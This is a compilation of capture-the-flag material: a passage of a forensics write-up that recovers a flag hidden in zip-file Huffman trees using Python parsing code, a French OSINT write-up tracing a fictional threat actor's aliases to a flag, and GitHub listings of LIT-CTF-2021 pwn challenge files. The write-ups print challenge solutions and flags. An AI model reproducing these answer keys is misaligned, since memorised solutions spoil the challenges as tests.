Only 39 different byte values are represented in the first chapter! This file could be so much smaller if each character only needed 6 bits. Reducing the number of bits needed to represent each symbol based on this metric is one way to compress a file, but Huffman coding is much better. Huffman coding is a [variable-length code](https://en.wikipedia.org/wiki/Variable-length_code) that can use fewer bits to represent the most common symbols and increase the number of bits for less common symbols.
In this example of a Huffman tree for the text "this is an example of a huffman tree" by [Metaficha](https://commons.wikimedia.org/w/index.php?curid=2875155), the encoding for each character can be found by following the tree from the root to each leaf, adding a '0' bit if taking the left path or '1' if taking the right. the most frequent symbols are encoded with only three bits despite needing to represent 16 different symbols from the uncompressed string:
* ' ': `111` * 'e': `000`* 'a': `010`
<div align="center">
</div>
### Tree ClimbingNow that we know what a Huffman tree is, it's time to see if we can find anything strange in the Huffman tree of each compressed chapter. To extract the tree and learn more about how the Deflate algorithm works, I used the article ["Let's implement `zlib.decompress()`"](https://pyokagan.name/blog/2019-10-18-zlibinflate/) by [Paul Tan](https://pyokagan.name/).
Paul's code expects `zlib` data, which is just the raw, compressed deflate data wrapped in a small header and footer. We can modify the code to skip the `zlib` wrapper parsing/verification and just assume the data we supply is correct. Then we can parse the zip file to extract the data we need and then send it to the tree parser:
```python# extract raw compressed data from zip filedef carve(zip_name, metadata_size): # list of tuples, (offset, size) files = [] # parse zip file with zipfile.ZipFile(zip_name, 'r') as zip_file: # iterate over each file in zip for elem in zip_file.infolist(): offset = elem.header_offset + metadata_size compress_size = elem.compress_size files.append((offset, compress_size))
compressed_data = [] with open(zip_name, 'rb') as raw_zip: for f in files: # seek to offset and read compressed_size bytes raw_zip.seek(f[0]) compressed_data.append(raw_zip.read(f[1]))
return compressed_data```
```python# parse raw compressed data to get huffman tree (ignore distance tree)def get_huffman_tree(raw): r = BitReader(raw) # read BFINAL and BTYPE BFINAL = r.read_bit() BTYPE = r.read_bits(2) literal_length_tree, distance_tree = decode_trees(r) return literal_length_tree ```
```pythonif __name__ == "__main__": # get raw compressed data from challenge.zip challenge_data = carve('challenge.zip', 0x24)
# extract huffman tree, inserter will print when 'E' character is inserted for i, f in enumerate(challenge_data): print(get_huffman_tree(f))```
This seems to work, but it's hard to tell if anything out of the ordinary is present. Graphing a tree from `compression_test.zip` and comparing side-by-side with the same one from `challenge.zip` is a better way to highlight any differences.
```python# make networkx graph from huffman treedef walk_graph(self, node, parent, g, edge_label=None): # root of tree if not parent: g.add_node(node.symbol, label='root') else: # leaf node if node.symbol > 0: label = node.symbol # intermediate node else: label = '' g.add_node(node.symbol, label=label) g.add_edge(parent.symbol, node.symbol, label=edge_label) if node.left: self.walk_graph(node.left, node, g, '0') if node.right: self.walk_graph(node.right, node, g, '1') return g```
```python# generate image from a given huffman treedef visualize(huffman_tree, output_name): g = huffman_tree.make_graph() A = nx.drawing.nx_agraph.to_agraph(g) A.layout('dot', args='-Nfontsize=10 -Nwidth=".2" -Nheight=".2" -Nmargin=0 -Gfontsize=8') A.draw(output_name) print(f'Graph generated: {output_name}')```
Applying the new visualization functionality to the first compressed file in both `challenge.zip` and `compression_test.zip` produces the following graphs:
<div align="center">
</div>
<div align="center">
</div>
Wow. This comparison shows us that the first Huffman tree in `challenge.zip` contains far more nodes than necessary. Any leaf node between 0 and 255 should represent the base 10 value of an ASCII character within the file `00.txt`. As we figured out earlier, there should only be 39 of these. Our compressed example tree for `00.txt` is correct with 39 literal leaf nodes (the 16 other nodes can be ignored, they're used for the LZ77 algorithm).
`challenge.zip`, on the other hand, has 90 literal leaf nodes. There must be some data encoded in the trees of the files that we have to decipher...
It's hard to see right now, but the `challenge.zip` graph has one very interesting and unusual node that stands out. We would expect to see the more frequent literals towrd the left side of the graph because that's where the shortest paths from the root to the leaves are. One node that we should not expect to see at all, and certainly not on the left side, is of course the node for the literal 'E'. By graphing just the most frequent nodes and highlighting the 'E' it becomes more clear:
<div align="center">
</div>
Another suspicious attribute of this graph is that there are exactly 8 edges between the 'E' and the root node. Walking down from the root, we get a bit-pattern of `11000010`. Let's see if that turns into anything interesting when converted to ASCII:
```python>>> chr(int('11000010', 2))'Â'```
This could be something, but I was hoping more for a 'C'. Maybe if we go backwards?
```python>>> chr(int('11000010'[::-1], 2))'C'```
There we go! And if we do the same thing with the rest of the compressed files I bet we can get the flag. To automate the process, we can add a condition that detects whenever the '69' literal gets inserted into a Huffman tree and then trace the path it takes. If we print each character as each tree is built we should get the flag!
```pythondef insert(self, codeword, n, symbol): # Insert an entry into the tree mapping `codeword` of len `n` to `symbol` node = self.root
# if inserting symbol 69 ('E'), follow bit path p = False bits = b'' if symbol == 69: p = True for i in range(n-1, -1, -1): b = codeword & (1 << i) if b: bits += b'1' next_node = node.right if next_node is None: node.right = Node() next_node = node.right else: bits += b'0' next_node = node.left if next_node is None: node.left = Node() next_node = node.left node = next_node # print bit path in reverse to get character of flag if p: print(chr(int(bits[::-1], 2)), end='') node.symbol = symbol```
```$ python solve.pyCTF{!-!OLE-E-COM!7RESSION}```
<div align="center">
</div>
## Resources
* **Wikipedia Gadsby**: https://en.wikipedia.org/wiki/Gadsby_(novel)* **Project Gutenberg Gadsby**: https://www.gutenberg.org/ebooks/47342* **exiftool**: https://github.com/exiftool/exiftool* **January 1, 1980 Stack Overflow**: https://stackoverflow.com/a/59974680/15117449* **binwalk**: https://github.com/ReFirmLabs/binwalk* **Wikipedia ZIP**: https://en.wikipedia.org/wiki/ZIP_(file_format)* **Wikipedia Deflate**: https://en.wikipedia.org/wiki/Deflate* **An explanation of the *Deflate* Algorithm**: https://zlib.net/feldspar.html* **Wikipedia Huffman coding**: https://en.wikipedia.org/wiki/Huffman_coding* **Wikipedia Variable-length code**: https://en.wikipedia.org/wiki/Variable-length_code* **Meteficha Huffman Tree**: https://commons.wikimedia.org/w/index.php?curid=2875155* **Paul Tan's Let's implement `zlib.decompress()`**: https://pyokagan.name/blog/2019-10-18-zlibinflate/* **Wikipedia zlib**: https://en.wikipedia.org/wiki/Zlib |
## RushB (200 Points)
### Enoncé```Cher agent,
un membre de l'APT 403 utilise des jeux multijoueurs pour recruter des pirates et planifier des attaques. Il utilise le surnom suivant pour le recrutement : МихаильCSGO.
Découvrez s'il a utilisé d'autres alias et sur quels sites il a peut-être oublié de supprimer des données sensibles qui nous aideront dans notre enquête.
```### Solution
A partir du pseudo et de l'énoncé on s'oriente sur steam et on trouve un profil .
Pour voir l'historique des pseudos on va sur vabanned.com
On trouve 3 pseudos :- МихаильCSGO- Zinaïda437@- Basilovitch
Avec les deux premiers pseudos on ne trouve pas grand chose d'intéressants mais avec le troisième pseudo on trouve un profil Pastebin
On trouve une page Pastebin sur son profil dans lequel on a un lien vers un Discord
Et sur le serveur on trouve le flag , avec cela le challenge est fini .
## Flag : `CYBERTF{St0P_Ru$HiNg_b}` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>madlibs<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>madlibs<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/LexMACS/LIT-CTF-2021/tree-commit/998a37dc3b4388f7c3b8b68477b6b39bdcec1c62/pwn/madlibs" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>compile.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>madlibs</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>madlibs.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>madlibs.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>editor<span>/</span></div>
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<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/LexMACS/LIT-CTF-2021/refs" cache-key="v0:1626677123.78713" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="TGV4TUFDUy9MSVQtQ1RGLTIwMjE=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
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<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/LexMACS/LIT-CTF-2021/refs" cache-key="v0:1626677123.78713" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="TGV4TUFDUy9MSVQtQ1RGLTIwMjE=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>deepspacewaifu<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>LIT-CTF-2021</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>deepspacewaifu<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/LexMACS/LIT-CTF-2021/tree-commit/998a37dc3b4388f7c3b8b68477b6b39bdcec1c62/pwn/deepspacewaifu" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>.gdb_history</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>compile.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>deepspacewaifu</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>deepspacewaifu.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>deepspacewaifu.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>deepspacewaitwo.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ld-2.27.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc-2.27.so</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
